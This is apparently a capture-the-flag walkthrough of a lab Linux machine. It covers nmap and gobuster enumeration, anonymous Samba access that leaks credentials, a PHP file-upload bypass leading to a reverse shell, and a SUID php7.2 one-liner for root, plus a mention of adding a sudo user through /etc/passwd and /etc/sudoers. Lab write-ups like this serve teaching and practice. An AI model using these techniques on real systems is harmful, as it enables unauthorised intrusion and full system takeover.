Enumeration
Machine IP → 192.168.59.76
Network Scan
Nmap scan → nmap -A -Pn -p- -T4 -o nmap.txt 192.168.59.76
OS Detection → OS: Linux; CPE: cpe:/o:linux:linux_kernel
| Port | Service | Other details (if any) |
|---|---|---|
| 22 | SSH | OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0) |
| 80 | HTTP | Apache httpd 2.4.18 ((Ubuntu)) |
| 139 | NETBIOS-SSN | Samba smbd 3.X - 4.X (workgroup: WORKGROUP) |
| 445 | NETBIOS-SSN | Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP) |
| 8000 | HTTP-ALT | Apache/2.4.18 (Ubuntu) |
Web Scan
GoBuster scan → /opt/GoBuster/gobuster dir -u http://192.168.59.76 -w /opt/SecLists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt -x html,php,txt
Directories/files listed →
- index.html
- generic.html
- elements.html
- images/
- assets/
Scanning the web site on port 8000 with a -x html,php,txt and a -f flag gives the following →
- app/
- admin/
- index/
- set/
Running nmap to discover shares using nmap --script smb-enum-shares -p 139,445 192.168.59.76 provided with the shares of IPC, sambashare, and print. This also showed the capability to read and write using anonymous users and a possible username of agi.
Exploitation
Listing Samba shares using sambaclient -U '' //192.168.59.76/sambashare. This share had an email to user daisa and a backup of a wordpress site. The email contained a hint to a possible password for daisa, using that on the website at the /admin path for the website at port 8000 provided access with credentials daisa:babygirl.
Here, the Library segment contains a file upload functionality that is interesting. Image files can be uploaded and can be previewed in the application. Messing with this functionality to upload a PHP code by changing the Content-Type to application/php and the filename to include the .php extension with the data containing the following code →
1
2
3
<?php
echo("hacked");
?>
This file can be uploaded without any issue which means the server is vulnerable to arbitrary file upload. The preview for this php file doesn’t work of course, but the application shows a “Download File” option due to the failed preview. This button contains a link to the file at http://192.168.59.76:8000/storage/originals/50/ce/cyberpunk.php, upon visiting which the string “hacked” is displayed on the web page indicating that arbitrary php can be executed. Therefore, Pentest Monkey’s script can be used to obtain a reverse shell.
Using the script and then executing the PHP code at http://192.168.59.76:8000/storage/originals/ec/a3/cyberpunk-shell.php grants a shell with the user www-data.
Privilege Escalation
Looking at the SUID binaries using find / -perm -4000 2>/dev/null there is an SUID binary for php7.2 which does have a root shell escalation associated with it. Using php7.2 -r "pcntl_exec('/bin/sh', ['-p']);" to launch a shell with effective uid as root, the root flag and the local flag can be read. A new user with full sudo permissions can also be added by modifying the /etc/passwd and /etc/sudoers files.